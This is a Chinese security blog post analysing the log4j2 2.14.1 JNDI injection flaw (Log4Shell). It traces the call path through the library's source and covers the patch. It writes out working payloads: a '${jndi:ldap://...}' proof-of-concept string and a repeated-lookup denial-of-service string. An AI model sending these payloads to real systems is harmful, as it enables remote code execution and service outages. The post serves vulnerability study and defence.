明明白白我的心
- 关注

简介
log4j2是java开发的日志记录框架,可以记录,输出,打印日志文件。
环境搭建
pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
POC
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class DemoTest {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(DemoTest.class);
// logger.error("${1+1=2}");
// logger.error("${java:os}");
logger.error("${jndi:ldap://127.0.0.1:1389/fq9vus}");
}
}
截图
调用栈
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, DemoTest
漏洞分析
我们直接关注这个点触发点,在PatternLayout类下toText方法。
private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
final StringBuilder destination) {
return serializer.toSerializable(event, destination);
}
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) { // creates temporary objects
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
问题就出在formatters[i].format(event, buffer),我们可以看到formatters包括哪些。漏洞触发点在MessagePatternConverter。
跟进后我们截取了MessagePatternConverter下format方法下核心的处理逻辑。获取传入字符串的长度,从第一位开始遍历,若遍历到相邻两个字符串为$和{ 就进入下面的逻辑,会把传入的payload赋值给value(而不仅仅是${}里的),然后会调用replace(event, value)来处理payload。
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
这里会调用substitute方法来处理,如果返回值为false,最后会把source打印出来。
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
return substitute(event, buf, offset, length, null) > 0;
}
这里会逐个对payload进行匹配$和{ 未匹配到就返回0,pos就递增。
直到匹配到之后,进入下面的循环,知道找到变量结束的标记,我们要注意到substitute(event, bufName, 0, bufName.length());这里是递归调用,可能有这种${XXXX${}XXXX}形式的出现。
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
继续跟进,这里调用resolver的lookup。我们可以看一下resolver里面的对象。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
这里会获取我们对我们的payload以:进行分割,所以会调用JDNI的解析器并调用原生的lookup。
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
这里就会触发JNDI注入漏洞。
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
同样的我们也可以调用java解析器,进行这样的利用。
后序修复与问题
放对比图。
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
这里报了异常就会return,所以流程不会走到lookup的调用。
但是这个还是有拒绝服务的问题,当我们传入过多的${}形式时,由于StrSubstitutor.substitute的递归调用,会对每一个符合条件的都发起一次JDNI的查询,会造成长时间的拒绝服务。
logger.error("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}");
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)